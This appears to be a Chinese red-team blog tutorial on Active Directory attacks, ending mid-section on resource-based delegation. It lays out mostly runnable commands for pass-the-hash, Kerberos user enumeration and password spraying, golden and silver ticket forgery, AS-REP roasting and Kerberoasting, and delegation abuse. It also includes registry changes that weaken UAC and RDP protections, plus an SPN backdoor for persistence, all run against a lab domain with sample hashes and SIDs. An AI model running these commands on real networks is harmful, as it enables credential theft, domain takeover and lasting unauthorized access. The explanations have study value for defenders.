|
红队技巧-域渗透的协议利用原创 0xAXSDD Gamma实验室 前天
点击蓝字关注我哦
1.pth(hash传递)
1.1 PTH简介
哈希传递(pth)攻击是指攻击者可以通过捕获密码的hash值(对应着密码的值),然后简单地将其传递来进行身份验证,以此来横向访问其他网络系统,攻击者无须通过解密hash值来获取明文密码,因为对于每个Session hash值都是固定的,除非密码被修改了(需要刷新缓存才能生效),所以pth可以利用身份验证协议来进行攻击,攻击者通常通过抓取系统的活动内存和其他技术来获取哈希。
1.2 PTH限制
在03之后有了uac,所以本地只有sid 为500和administrators 组里的域账户能pth。域Domain admin默认在本地管理员组。但是sid 500账户的权限好像会受到限制。当uac某设置为1时,本地管理组内的用户都可以pth,域不变。
修改注册表 改为1
cmd /c reg add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\system /v LocalAccountTokenFilterPolicy /t REG_DWORD /d 1 /f
1.3 PTH常用攻击方法
1.3.1 mimikatz 交互式获取
这种方法需要本地管理员权限
- privilege::debug
- sekurlsa::pth /user:DD /domain:. /ntlm:35c83173a6fb6d142b0359381d5cc84c
复制代码 1.3.2 psexec
在这里推荐使用impacket套装,有exe和py版本。获取的是system权限
psexec.exe admin@10.73.147.30 -hashes 624aac413795cdc1a5c7b1e00f780017:852a844adfce18f66009b4f14e0a98depython psexec.py administrator@10.73.147.29 -hashes 624aac413795cdc1a5c7b1e00f780017:852a844adfce18f66009b4f14e0a98de
1.3.3 wmiexec
获取的是对方hash的权限,如下面为administrator
python wmiexec.py -hashes 624aac413795cdc1a5c7b1e00f780017:08eb9761caca8f3c386962b5ad4b1991 administrator@192.168.20.3
1.4批量PTH攻击使用CrackMapExec来进行
https://www.freebuf.com/sectool/184573.html
1.5 一些注意事项
当我们机器处于域环境中时,如果客户端是以IP地址访问服务端的,那么此使仍旧会使用NTLM协议进行身份认证,PTH攻击不管是NTLM认证还是Kerberos认证都是存在的!
KB2871997补丁与PTH攻击
PTH无法使用sid 500以外的用户登录,是因为打了KB22871997补丁所导致的,安装KB2871997前后的对比发现并没有任何区别。而之前非administrator的本地管理员Pass The Hash失败被一些观点认为KB2871997的作用,但这实际上因为远程访问和UAC的限制!
远程访问和UAC
UAC是window Vista的新安全组件,2003版本是没有的。所以2003管理组内的用户还是可以网络登录的,而03之后的win7 win8 win10 2008 2012 2012R2 2016 2019 本地都是只能sid为500的允许网络远程访问!
根据微软官方关于远程访问和用户账户控制的相关文档可以了解到,UAC为了更好的保护Administrators组的账户,会在网络上进行限制。
在使用本地用户进行远程登录时不会使用完全管理员权限,但是在域用户被加入到本地管理组员组后,域用户可以使用完全管理员的AccessToken运行。并且UAC不会生效,简而言之就是除了sid 500的用户之外可以PTH登录之外就是加入本地管理员组的域用户!
KB2871997 此补丁具体更改点如下:
1.支持“ProtectedUsers”组
2.Restricted Admin RDP模式的远程桌面客户端支持
3.注销后删除LSASS中的凭据
4.添加两个新的SID
5.LSASS中删除明文凭证
6.支持“ProtectedUsers”组
"rotectedUsers"组是WindowsServer 2012 R2域中的安全组,"rotectedUsers"组的成员会被强制使用Kerberos身份验证,并且对Kerberos强制执行AES加密!想要使用mimikatz抓取这个组的hash,需要使用sekurlsa:ekeys
Restricted Admin RDP模式的远程桌面客户端支持
注销后删除LSASS中的凭据,在这个更新之前,08什么的只要登陆过lsass内存中就会缓存明文密码、登陆凭证等。但是在打了补丁或者2012 win8 这种机器上只要用户注销就都没了。
LSASS中删除明文凭证这里涉及到了Wdigest SSP,在此补丁出世之前。lsass中由各种SSP保存明文密码!但是在补丁出现之后,就只有Wdigest SSP能保存密码了。
修改的Wdigest SSP的注册表,在这里还可以插入其他的SSP去记录明文
1.6 Pass the Hash with Remote Desktop
1.6.1 前言
在一般的渗透测试中,当我们拿到了某个用户的NTLM Hash的时候。我们一般就直接去PTH了,但是除了PTH还有另外一种额外的方法能够让我们PTH登录对方机器的3389服务,但是此条件有些苛刻!
1.6.2 简介
本文主要介绍以下内容:
Restricted Admin mode介绍
Pass the Hash with Remote Desktop的适用条件
Pass the Hash with Remote Desktop的实现方法
1.6.2.1 Restricted Admin mode介绍
官方说明:
https://blogs.technet.microsoft. ... indows-8-1-2012-r2/
适用系统:高版本只支持 Windows 8.1和Windows Server 2012 R2
低版本需要打补丁 Windows 7 和Windows Server 2008 R2 默认不支持,需要安装补丁2871997、2973351
在这里形成这个漏洞的主要原因还是因为微软为了避免PTH攻击,开发了2871997补丁导致的!win8 2012 默认包含了这个补丁,所以不需要额外安装。而以前的版本则需要安装下补丁!
1.6.3 Pass the Hash with Remote Desktop的实现方法
(1)使用客户端命令登录
需要有两个必要的元素!首先是受害者机器需要开启注册表某一项,另一点是攻击机需要使用利用PTH登录的工具!
开启注册表
使用命令开启
REG ADD "HKLM\System\CurrentControlSet\Control\Lsa" /v DisableRestrictedAdmin /t REG_DWORD /d 00000000 /f
攻击机登录
使用客户端命令行登录
- sekurlsa::pth /user:administrator /domain:. /ntlm:08eb9761caca8f3c386962b5ad4b1991 "/run:mstsc.exe /restrictedadmin"
- //pass:如果单独使用mstsc.exe,好像无法指定具体哪个hash登录!
复制代码 1.如果当前系统不支持Restricted Admin mode,执行后弹出远程桌面的参数说明
2.如果系统支持Restricted Admin mode,执行后弹出登录桌面界面
(2) 使用FreeRDP工具来使用
他的旧版本支持pth登陆方式,下载链接:
https://labs.portcullis.co.uk/download/FreeRDP-pth.tar.gz
PTH登录3389无法缓存Hash,mimikatz无法从内存中抓取
2.用户枚举
2.1 原理分析
在域外也能和域进行交互的原因,是利用了kerberos协议认证中的AS-REQ阶段。只要我们能够访问域控88(kerberos服务)端口,就可以通过这种方式去枚举用户名并且进行kerberos协议的暴力破解了!
2.2 攻击优势
相比于LDAP的暴力破解,这里Kerbrute使用的是kerberos pre-auth协议,不会产生大量的日志 (4625 - An account failed to log on)
但是会产生以下日志:
口令验证成功时产生日志 (4768 - A Kerberos authentication ticket (TGT) was requested)
口令验证失败时产生日志 (4771 - Kerberos pre-authentication failed)
2.3 攻击方法
2.3.1 kerbrute_windows_amd64.exe
下载地址:
https://github.com/ropnop/kerbrute/releases
需要获取dc的ip,域名。将想要爆破的用户放入user.txt表中,这样就可以获取kerbrute_windows_amd64.exe userenum --dc 192.168.60.1 -d hacke.testlab user.txt
获取到用户名后,可以将它用来爆破
kerbrute_windows_amd64.exe passwordspray -d hacke.testlab user.txt QWE123!@#
2.3.2 PY版本 pyKerbrute
下载链接
https://github.com/3gstudent/pyKerbrute
此工具分为用户枚举和口令验证两个功能。
2.3.2.1 EnumADUser.py
进行用户枚举,支持TCP和UDP协议。
命令实例:
- python2 EnumADUser.py 192.168.60.1 test.com user.txt tcp
- python2 EnumADUser.py 192.168.60.1 test.com user.txt udp
复制代码 2.3.2.2 ADPwdSpray.py
这个脚本进行口令破解功能,支持TCP和UDP协议,支持明文口令和NTLM hash
使用明文密码:
python2 ADPwdSpray.py 192.168.60.1 hacke.testlab user.txt clearpassword QWE123!@# tcp
使用hash:
python2 ADPwdSpray.py 192.168.60.1 hacke.testlab user.txt ntlmhash 35c83173a6fb6d142b0359381d5cc84c udp
3.密码喷洒攻击(Password Spraying)
3.1 前言
关于密码喷洒,笔者一开始的感觉应该是系统默认开启了次数。但是后来发现这个策略问题需要我们设置才会开启。net accounts /domain 所设置的策略问题,实验环境12默认没有阈值,导致爆破一直不被锁定。
3.2 工具介绍
DomainPasswordSpray.ps1是用PowerShell编写的工具,用于对域用户执行密码喷洒攻击。默认情况下它将利用LDAP从域中导出用户列表,然后扣掉被锁定的用户,再用固定密码进行密码喷洒。
需要使用域权限账户
下载链接:
- GitHub项目地址:
- https://github.com/dafthack/DomainPasswordSpray
复制代码 在这里作者进行了脚本修改- 优化后的地址:
- http://payloads.online/scripts/Invoke-DomainPasswordSpray.txt
复制代码
3.2.1 参数说明
描述:该模块主要用于从域中收集用户列表
参数 | 功能 | Domain
| 指定要测试的域名 | RemoveDisabled
| 尝试从用户列表删除禁用的账户 | RemovePotentialLockouts | 删除锁定账户 | UserList | 自定义用户列表(字典)。如果未指定,将从域中获取 | Password | 指定单个密码进行口令测试 | PasswordList | 指定一个密码字典 | OutFile | 将结果保存到某个文件 | Force | 当枚举出第一个后继续枚举,不询问 |
3.2.3 使用说明
从域中收集用户列表
powershell.exe -exec bypass -Command "& {Import-Module C:\Users\HTWO\Desktop\DomainPasswordSpray.ps1;Get-DomainUserList}"
从域中收集用户列表,包括任何未禁用且未接近锁定状态的账户。它会将结果写入"userlist.txt"文件中
powershell.exe -exec bypass -Command "& {Import-Module C:\Users\HTWO\Desktop\DomainPasswordSpray.ps1; Get-DomainUserList -Domain hacke.testlab -RemoveDisabled -RemovePotentialLockouts | Out-File -Encoding ascii userlist.txt }"
从域环境中获取用户名,然后使用密码QWE123!@#进行认证枚举
powershell.exe -exec bypass -Command "& {Import-Module C:\Users\HTWO\Desktop\DomainPasswordSpray.ps1;Invoke-DomainPasswordSpray -Password QWE123!@#}"
从user.txt中提取用户名,与passlist.txt中的密码对照成一对口令,进行域认证枚举,登录成功后会输出到sprayed-creds.txt
powershell.exe -exec bypass -Command "& {Import-Module C:\Users\HTWO\Desktop\DomainPasswordSpray.ps1;Invoke-DomainPasswordSpray -Domain hacke.testlab -Password QWE123!@# -OutFile sprayed-creds.txt}"
4.黄金票据
4.1 前言
在kerberos认证笔记中有这么一段话
在TGS_REQ部分,Client将发送大致三种数据。两种加密的,一种不加密的。机密的分别为TGT、Login Session key 加密的时间戳数据B,不加密的如要访问的服务名称
当我们有了krbtgt的密钥之后,我们可以解密TGT,也可以加密TGT。因为我们用了krbtgt NTLM Hash!下面还有这样一段话
当TGS收到请求后,将会检查自身是否存在客户端所请求的服务。如果服务存在,通过krbtgt用户的NTLM hash解密TGT获得Login Session key,使用Login Session key去解密数据B,通过数据B。
这里是关键,TGS获取的Login Session key是通过解开TGT获取的!因此当我们得到krbtgt hash之后,我们就可以伪造任一用户了!
4.2 利用场景
1.拿到域内所有账户Hash,包括krbtgt账户,某些原因导致域控权限掉了,域管改密码了等。
2.手上还有一台机器,无所谓是否在域中!
3.域管理员没有更改域控krbtgt账户的密码。
4.通常当作后门使用!
4.3 利用条件
伪造黄金凭据需要具备下面条件:
krbtgt用户的hash(就意味着你已经有域控制器权限了)
域名称
域的SID值
要伪造的用户名
krbtgt NTLM hash
- RID : 000001f6 (502)
- User : krbtgt
- LM :
- NTLM : 30c84f309c52d2d6d05561fc3f904647
复制代码
域的SID值
S-1-5-21-3502871099-3777307143-1257297015
域名称
hacke.testlab
在这里我们要伪造
Administrator
在伪造之前,最好清空一下当前的票据
klist purg
使用mimikatz
kerberos::golden /admin:Administrator /domain:hacke.testlab /sid:S-1-5-21-3502871099-3777307143-1257297015 /krbtgt:30c84f309c52d2d6d05561fc3f904647 /ticket:ticket.kirbi
5.Roasting攻击
5.1 漏洞成因
这个漏洞是需要额外去配置的!需要我们在用户账号设置" Do not require Kerberos preauthentication(不需要kerberos预身份验证) "。
在AS_REP阶段,会返回由我们请求的域账户hash加密某个值后返回。然后我们通过自身的ntlm hash去解密得到数据。在这里设置不要求预身份验证后,我们可以在AS_REQ阶段,填写想要伪造请求的用户名,随后会用伪造请求的用户名NTLM Hash加密返回给我们。随后我们就可以拿去爆破了,不过前提就是需要伪造请求的用户名设置了"不要求Kerberos预身份认证"
5.2 两种环境的利用
5.2.1 域内
工具Rebeus
使用命令直接获取域内所有开启"不要求Kerberos域身份认证"的用户,并且返回了他们的加密hash
Rubeus.exe asreproast > log.txt
Empire 中的Powerview.ps1
在这里使用bypass命令直接执行输出到txt中!
powershell.exe -exec bypass -Command "& {Import-Module C:\Users\test.HACKE\Desktop\powerview.ps1;Get-DomainUser -PreauthNotRequired}" > log.txt
获取用户名后,需要获取他们的加密hash。在这里需要使用另外一个模块
powershell.exe -exec bypass -Command "& {Import-Module C:\Users\test.HACKE\Desktop\ASREPRoast.ps1;Get-ASREPHash -UserName test -Domain hacke.testlab | Out-File -Encoding ASCII hash.txt}"
5.2.2 域外
在这里只能通过枚举域用户名操作来获取域用户名,拿到后使用Get-ASREPHash来获取信息!
powershell.exe -exec bypass -Command "& {Import-Module ASREPRoast.ps1;Get-ASREPHash -UserName test -Domain hacke.testlab -Server 192.168.60.1 | Out-File -Encoding ASCII hash.txt}"
工具下载链接
https://github.com/gold1029/ASREPRoast
5.3 密码破解
当我们拿到hash之后,就需要去破解了!
如果想要放到hashcat里破解,需要在kerberos后面加上
$23
hashcat -m 18200 hash.txt pass.txt --force
6.SPN 扫描
6.1 SPN简介
SPN全程 Service Principal Names,是服务器上所运行服务的唯一标识,每个使用kerberos认证的服务都需要一个SPN。SPN分为两种,一种注册在AD的机器账户下(Computers)下,另一种注册在域用户账户(Users)下 当一个服务的权限为Local System或Network Service,则SPN注册在机器账户(Computers)下 当一个服务的权限为一个域用户,则SPN注册在域用户账户(Users)下
6.2 SPN扫描作用
SPN扫描能让我们更快的发现在域内运行的服务,并且很难被发现
6.3 SPN格式
serviceclass/host:port/servicename
说明:
serviceclass可以理解为服务的名称,常见的有www,ldap,SMTP,DNS,HOST等
host有两种形式,FQDN和NetBIOS名,例如server01.test.com和server01
如果服务运行在默认端口上,则端口号(port)可以省略
查询SPN
对域控制器发起LDAP查询,这是正常kerberos票据行为的一部分,因此查询SPN的操作很难被检测
(1)使用SetSPN
win7和windows server2008 2012自带的功能
查看当前域内的所有SPN:
setspn.exe -q */*
查看具体域内的所有SPN:
setspn.exe -T hacke.testlab -q */*
查询SPN
对域控制器发起LDAP查询,这是正常kerberos票据行为的一部分,因此查询SPN的操作很难被检测
(1)使用SetSPN
win7和windows server2008 2012自带的功能
查看当前域内的所有SPN:
setspn.exe -q */*
查看具体域内的所有SPN:
setspn.exe -T hacke.testlab -q */*
7.Kerberosast攻击
7.1 攻击原理
1.kerberos认证过程
这种攻击方法主要利用了TGT_REP阶段使用对方NTLM Hash返回的加密数据,通过碰撞加密数据破解用户密码。
2.Windows系统通过SPN查询获得服务和服务实例帐户的对应关系
但是TGT阶段一开始需要对方是否是否有这个服务,那这个服务怎么发现呢? 这时候可以使用SPN扫描,因为在域中如果服务使用的是kerberos认证。那么就需要在对应域用户下面注册SPN,因此通过SPN扫描可以发现用户对应的服务!
3.域内的任何用户都可以向域内的任何服务请求TGS
4.需要域用户登录才能查询,因为SPN查询部分使用了LDAP协议
7.2 高效率方法
查询SPN,找到有价值的SPN,需要满足以下条件:
该SPN注册在域用户帐户(Users)下
域用户账户的权限很高
请求TGS
导出TGS
暴力破解
账户低权限时注册的SPN,后来当账户权限提高时。如下工具也检测不出来,同理高权限注册后降权,工具也检测不出来!
7.3 工具工攻击实现
7.3.1 检测高权限账户
工具只能检测出SPN服务注册时用户的高低权限,若后来权限提高或者降低皆无法检测到。
(1)使用powershell模块Active Direvtory
当服务器上存在此模块时(域控一般安装)
powershell.exe -exec bypass -Command "& {Import-Module .\ctiveDirectory;get-aduser -filter {AdminCount -eq 1 -and (servicePrincipalName -ne 0)} -prop * |select name,whencreated,pwdlastset,lastlogon}"
当服务其上没有AD模块时,加载dll文件来执行。win8无法执行
powershell.exe -exec bypass -Command "& {Import-Module .\Microsoft.ActiveDirectory.Management.dll;get-aduser -filter {AdminCount -eq 1 -and (servicePrincipalName -ne 0)} -prop * |select name,whencreated,pwdlastset,lastlogon}"
DLL下载链接
- https://codeload.github.com/3gstudent/test/zip/master
- https://github.com/samratashok/ADModule
复制代码
(2)使用PowerView
powershell.exe -exec bypass -Command "& {Import-Module .\PowerView.ps1; Get-NetUser -spn -AdminCount|Select name,whencreated,pwdlastset,lastlogon }"
下载链接
https://github.com/PowerShellMafia/PowerSploit/blob/dev/Recon/PowerView.ps1
(3)使用kerberoast工具
powershell
powershell.exe -exec bypass -Command "& {Import-Module .\GetUserSPNs.ps1; }"
下载链接:
https://github.com/nidem/kerberoast/blob/master/GetUserSPNs.ps1
vbs
cscript GetUserSPNs.vbs
下载链接:
https://github.com/nidem/kerberoast/blob/master/GetUserSPNs.vbs
7.3.2 请求高权限账户的票据
在域机器win7上执行
(1)请求指定TGS 在powershell中使用如下命令获取票据(2008不行)
- powershell.exe -exec bypass -Command "& {$SPNName = 'VNC/WIN7.hacke.testlab'; Add-Type -AssemblyNAme System.IdentityModel; New-Object System.IdentityModel.Tokens.KerberosRequestorSecurityToken -ArgumentList $SPNName }"
- $SPNName = 'VNC/WIN7.hacke.testlab'
- Add-Type -AssemblyNAme System.IdentityModel
- New-Object System.IdentityModel.Tokens.KerberosRequestorSecurityToken -ArgumentList $SPNName
复制代码
(2)请求所有TGS
执行完(1)第一个后第二个才能执行 需要powershell下执行
- powershell.exe -exec bypass -Command "& {Add-Type -AssemblyName System.IdentityModel }"
- setspn.exe -q */* | Select-String '^CN' -Context 0,1 | % { New-Object System.IdentityModel.Tokens.KerberosRequestorSecurityToken -ArgumentList $_.Context.PostContext[0].Trim() }
复制代码
可以看到获取到了所有的票据
7.3.3 导出票据
使用mimikatz.exe
kerberos::list /export
7.3.4 破解票据
在这里之所以能够进行破解,是因为我们后来加入的那些服务加密算法。默认是RC4的,而不是原有服务那种AES-256-CTS-HMAC-SHA1-96 !
参考链接:
https://mp.weixin.qq.com/s/88GqLe63YIBbTkQH9EIXcg
在这里破解方式我收集了两种
(1) 使用tgsrepcrack.py
- pip install requests-kerberos,kerberos-sspi
- import kerberos 改成 import kerberos_sspi as kerberos
复制代码
但是这里的模块我没安装成功就没尝试这个操作
下载链接
https://github.com/nidem/kerberoast/blob/master/tgsrepcrack.py
(2) 使用kirbi2john.py转格式
这里和(1)中使用的格式不同,因此可以使用hashcat john 工具来进行爆破票据
在这里进行转换
python kirbi2john.py *.kirbi > johnkirb.txt
在这里笔者pip包没有安装成功,因此没有截图。这两种失败没事,接下来的自动化导出直接替代了上面的所有!
全自动化导出
在这里使用 Empire 中的 Invoke-Kerberoast.ps1 脚本,导出hashcat格式的密钥。且它会自动选择所有的user Hash!
powershell.exe -exec bypass -Command "& {Import-Module .\Invoke-Kerberoast.ps1;Invoke-kerberoast -outputformat hashcat |fl > hash.txt}"
7.3.5 暴力破解
将上述的数据中提取出hashcat可爆破的部分,放入hash.txt
在这里使用hashcat进行破解
hashcat -m 13100 hash.txt password.list -o found.txt --force
7.4 Kerberoasting后门利用
当我们获取到有权注册SPN的域账号时,或者拿到了域控。我们就可以为指定的域用户添加一个SPN。这样可以随时获得该用户的TGS,从而经过破解后可以获得明文口令。
如为添加管理员Administrator添加VNC/WIN-Q2JR4MURGS0.hacke.testlab
setspn.exe -U -A VNC/WIN-Q2JR4MURGS0.hacke.testlab Administrator
8.白银票据
8.1 利用条件
攻击者在使用Silver Ticket对内网进行攻击时,需要掌握以下信息:
域名
域SID
目标服务器的FQDN
可利用的服务
服务账号的NTLM Hash
需要伪造的用户名
8.2 使用场景
8.2.1 使用Silver Ticket伪造CIFS服务权限
CIFS服务通常用于Windows主机之间的文件共享。
使用当前域用户权限,查询对域控制器的共享目录的访问权限,在域控制器中输入如下命令,使用mimikatz获取服务账号的NTLM Hash
mimikatz log "privilege::debug" "sekurlsa::logonpasswords"
机器账号的NTLM Hash
f2abe578cdedfbb0dc5bf4249145c8dd
注意,这里使用的是共享服务账号,所以使用的是WIN-Q2JR4MURGS0$而非administrator
继续获取其他信息
域名(注入时需要写成小写)
域SID
whoami /all >123.txt //注意要去掉-500
- WIN-Q2JR4MURGS0$
- domain:hacke.testlab
- SID:S-1-5-21-3502871099-3777307143-1257297015
复制代码 然后,在命令行环境下输入如下命令,清空当前系统中的票据和域成员的票据,防止其他票据干扰。
- klist purge
- kerberos::purge
复制代码
使用mimikatz生成伪造的 Silver Ticket ,在之前不能访问域控制器共享目录的机器输入如下命令:
- kerberos::golden /domain:域名 /sid:SID /target:域全称 /service:要访问的服务 /rc4:NTLM /user:username /ptt
- kerberos::golden /domain:HACKE.TESTLAB /sid:S-1-5-21-3502871099-3777307143-1257297015 /target:WIN-Q2JR4MURGS0.hacke.testlab /service:cifs /rc4:f2abe578cdedfbb0dc5bf4249145c8dd /user:test /ptt
- 或者
- mimikatz "kerberos::golden /domain:HACKE.TESTLAB /sid:S-1-5-21-3502871099-3777307143-1257297015 /target:WIN-Q2JR4MURGS0.hacke.testlab /service:cifs /rc4:f2abe578cdedfbb0dc5bf4249145c8dd /user:test /ptt"
复制代码
8.2.2 访问域控上的"LDAP"服务
在本实验中,使用dcsync从域控制器中获取指定用户的账号和密码散列,如krbtgt
输入如下命令,测试以当前权限是否可以使用dcsync与域控制器进行同步
lsadump::dcsync /dc:WIN-Q2JR4MURGS0.hacke.testlab /domain:hacke.testlab /user:krbtgt
向域控制器获取krbtgt的密码散列值失败,说明以当前权限不能进行dcsync操作,这时候可以直接修改上面的命令,将服务修改成ldap即可!
kerberos::golden /domain:HACKE.TESTLAB /sid:S-1-5-21-3502871099-3777307143-1257297015 /target:WIN-Q2JR4MURGS0.hacke.testlab /service:cifs /rc4:f2abe578cdedfbb0dc5bf4249145c8dd /user:test /ptt
9.委派攻击
9.1 前言
域委派是指将域内用户的权限委派给服务账户,使得服务账号能够以用户的权限在域内展开活动。
委派主要分为非约束委派 (Unconstrained delegation)和约束委派 Constrained delegation)与基于资源的约束委派 (Resource Based Constrained Delegation)
9.1.1 原理
当user访问service1时,如果service1的服务账号开启了unconstrained delegation(非约束委派),则当user访问service1时会将user的TGT发送给service1并保存在内存中已备下次重用,然后service1就可以利用这张TGT以user的身份去访问域内的任何服务(任何服务是指user能够访问的服务)了
9.2 非约束委派信息搜集
9.2.1 PowerSploit下的PowerView.ps1脚本
寻找设置了非约束委派的账号
powershell.exe -exec bypass -Command "& {Import-Module .\PowerView.ps1;Get-NetUser -Unconstrained -Domain hacke.testlab | select name }"
寻找设置了非约束委派的主机
powershell.exe -exec bypass -Command "& {Import-Module .\powerview.ps1;Get-NetComputer -Unconstrained -Domain hacke.testlab }"
pass:域控默认设置为非约束委派
9.2.2 使用ADFind.exe查找
寻找设置了非约束委派的账号
AdFind.exe -b "DC=hacke,DC=testlab" -f "(&(samAccountType=805306368)(userAccountControl:1.2.840.113556.1.4.803:=524288))" cn distinguishedName
寻找设置了非约束委派的主机
AdFind.exe -b "DC=hacke,DC=testlab" -f "(&(samAccountType=805306369)(userAccountControl:1.2.840.113556.1.4.803:=524288))" cn distinguishedName
高权限机器主动访问我们
所需权限:非约束主机的管理权权限,需要导出内存中的票据
- privilege::debug
- sekurlsa::tickets /export
复制代码 使用mimikatz将这个票据导入内存中,然后访问域控 导入票据
kerberos::ptt [0;8c20d]-2-0-60810000-Administrator@krbtgt-HACKE.TESTLAB.kirbi
在第一种中,其实利用起来难度不小。让要高权限用户来访问我们的非约束主机其实利用起来不太好,所以这里我们还可以使用打印机的BUG,来让它以高权限用户访问非约束主机。
所需权限:非约束主机的管理权限,需要导出内存中的票据。有两种方式:
1.system权限+其他方式获取的域sid
2.两个会话,一个system/administrator 一个域内权限
(1)system权限+其他方式获取的域sid
首先使用工具Rubeus.exe 1.5.0 监听来自WIN-Q2JR4MURGS0 Event ID为4624事件。每隔一秒监听一次来自WIN-Q2JR4MURGS0的登录,然后将其写到文件夹里
- Rubeus.exe monitor /interval:1 /filteruser:WIN-Q2JR4MURGS0$ > C:\user.txt
- psexec.exe -s cmd /c "Rubeus.exe monitor /interval:1 /filteruser:WIN-Q2JR4MURGS0$ > C:\user.txt " -arguments
复制代码 想使用SpoolSampler需要访问域内权限,如果使用administrator执行。会出现SMB认证失败的情况!
因此这里需要提升到system权限,或者在域用户下执行。在这里使用psexec 单条命令提到system权限,去认证执行查询操作
psexec.exe -s cmd /c "C:\Users\Administrator\Desktop\tool\tools--main\SpoolSample\SpoolSamplerNET.exe WIN7 WIN-Q2JR4MURGS0" -arguments //前当前主机名 后域控主机名 不同工具不同写法
下载链接
https://github.com/shigophilo/tools-
然后根据不同的系统版本选择适合的请求工具,在这里笔者环境为WIN7。因此使用SpoolSamplerNET.exe
SpoolSamplerNET.exe WIN7 WIN-Q2JR4MURGS0 //前本机 后域控 不同工具位置不同
9.2.3 约束委派
9.2.3.1 约束委派信息搜集
Empire下的powerview.ps1脚本
配置了约束委派的服务域账号
powershell.exe -exec bypass -Command "& {Import-Module .\powerview.ps1;Get-DomainUser -TrustedToAuth -Domain hacke.testlab | select name }"
配置了约束委派的服务机器账号
powershell.exe -exec bypass -Command "& {Import-Module .\powerview.ps1;Get-DomainComputer -TrustedToAuth -Domain hacke.testlab | select name}"
ADFind
域用户服务账号以及对应的委派对象
AdFind.exe -b "DC=hacke,DC=testlab" -f "(&(samAccountType=805306368)(msds-allowedtodelegateto=*))" cn distinguishedName msds-allowedtodelegateto
主机机器服务账户以及对应的委派对象
AdFind.exe -b "DC=hacke,DC=testlab" -f "(&(samAccountType=805306369)(msds-allowedtodelegateto=*))" cn distinguishedName msds-allowedtodelegateto
9.2.3.2 约束资源委派攻击
域用户服务账号和主机服务账号,同样可以获取伪造高权限对应服务票据。
通过Empire下的powerview.ps1脚本查找约束委派账号
powershell.exe -exec bypass -Command "& {Import-Module .\powerview.ps1;Get-DomainUser -TrustedToAuth -Domain hacke.testlab | select name }"
但是这里还需要知道这两个用户委派的是SPN服务,使用AdFind.exe发现域用户的委派spn对象
AdFind.exe -b dc=hacke,dc=testlab -f "(&(objectCategory=user)(objectClass=user)(userAccountControl:1.2.840.113556.1.4.803:=16777216))" msDS-AllowedToDelegateTo
在这里可以看到委派的SPN对象,这里weipai域用户服务账号委派的是域控的445权限,因此这里伪造尝试访问域控的445。
首先需要伪造S4U,这里需要获取委派域账号的明文密码。
使用kekeo请求该用户的TGT
tgt::ask /user:weipai /domain:hacke.testlab /passwordWE123!@# /ticket:test.kirbi
当破解不出明文密码时,还可以使用NTLM hash!
tgt::ask /user:weipai /domain:hacke.testlab /NTLM:b4f27a13d0f78d5ad83750095ef2d8ec
在这里获取到了访问服务本身的tgt票据:
TGT_weipai@HACKE.TESTLAB_krbtgt~hacke.testlab@HACKE.TESTLAB.kirbi
随后使用这张可转发的TGT票据去伪造s4u请求以administrador用户权限访问SPN委派服务
tgs::s4u /tgt:TGT_weipai@HACKE.TESTLAB_krbtgt~hacke.testlab@HACKE.TESTLAB.kirbi /user:Administrator@hacke.testlab /service:cifs/WIN-Q2JR4MURGS0.hacke.testlab
S4U2Self获取到的ST1以及S4UProxy获取到的WIN-Q2JR4MURGS0 CIFS服务的ST2会保存在目录下
然后我们使用mimikatz将ST2导入当前会话即可
kerberos::ptt TGS_Administrator@hacke.testlab@HACKE.TESTLAB_cifs~WIN-Q2JR4MURGS0.hacke.testlab@HACKE.TESTLAB.kirbi
使用机器账户服务凭证申请
AdFind发现主机的委派SPN对象
AdFind.exe -b dc=hacke,dc=testlab -f "(&(objectCategory=computer)(objectClass=computer)(userAccountControl:1.2.840.113556.1.4.803:=16777216))" msDS-AllowedToDelegateTo
WIN8$的NTLM如下
- [00000003] Primary
- * Username : WIN8$
- * Domain : HACKE
- * NTLM : 7b335709cb4c692de6cd42b328fe8b1b
- * SHA1 : a3903dbf45c7b12186eec1b430f74fa3de7a4051
复制代码 在这里也可以使用机器账户委派,需要生成一个机器账户的票据。因为机器账户的密码成不规则,所以在这里使用ntlm格式去生成。使用kekeo去生成票据
tgt::ask /user:WIN8$ /domain:hacke.testlab /NTLM:7b335709cb4c692de6cd42b328fe8b1b
随后使用这张"服务票据"去进行S4U阶段的伪造
tgs::s4u /tgt:TGT_WIN8$@HACKE.TESTLAB_krbtgt~hacke.testlab@HACKE.TESTLAB.kirbi /user:Administrator /service:cifs/WIN-Q2JR4MURGS0.hacke.testlab
在没有导入之前访问域控的cifs服务
在这里使用mimikaze导入
kerberos::ptt TGS_Administrator@HACKE.TESTLAB_cifs~WIN-Q2JR4MURGS0.hacke.testlab@HACKE.TESTLAB.kirbi
在其他未设置约束委派的机器上,使用WIN8$机器账户的凭证发起请求。也可以获取可转发的ST票据。
服务账号的区分
在文章说到的:(1)注:在Windows系统中,只有服务账号和主机账号的属性才有委派功能,普通用户默认是没有的
(2) 在一个域中只有服务账号才有委派功能,使用如下命令将ghtwf01设为服务账号
1、2存在悖论,根据2中的意思是只要绑定SPN服务就为服务账号。而1中则将能够委派的账号分为服务账号和主机账号。但是在加入域的主机账号已经自动绑定了SPN服务成为了2中的服务账号。
因此服务账号可分为域用户服务账号、机器服务账号
基于资源的约束委派
原理:
基于资源的约束委派是一种允许自己去设置哪些账户委派给自己的约束委派,它和前面两种不同的地方就是前者是由域控上的高权限账户设置的,而且则可以自己指定。
传统的约束委派是"正向的",通过修改服务A属性"msDS-AllowedToDelegateTo",添加服务B的SPN(Service Prinvice Name),设置约束委派对象(服务B),服务A便可以模拟用户向域控制器请求服务B以获得服务票据(TGS)来使用服务B的资源。
而基于资源的约束委派则相反,通过修改服务B属性"msDS-AllowedToActOnBehalfOfOtherIdentity",添加服务A的SPN,达到让服务A模拟用户访问B资源的目的。
基于资源的约束委派的利用:
基于资源的约束委派利用最常用的也就是烂番茄漏洞提权了
涉及到两种协议:
S4U2Self
作用其实是协议转换,在约束委派中,因为服务器不能再获取委派用户的tgt去请求tgs了,但是tgs又是认证过程所必须的,因此S4U2Self解决了这个问题,服务器可以使用它去向KDC请求一张用户身份的TGS,服务器再用这张TGS去发起S4U2proxy请求。
S4U2proxy
该拓展作用是使用一张用户身份的TGS去向KDC请求一张用于访问服务器B的TGS,这张TGS的身份还是用户。
怎么来设置基于资源的约束委派呢?其中msDS-AllowedToActOnBehalfOfOtherIdentity是关键。
msDS-AllowedToActOnBehalfOfOtherIdentity msDS-AllowedToActOnBehalfOfOtherIdentity,此属性作用是控制哪些用户可以模拟成域内任意用户然后向该计算机进行身份验证。
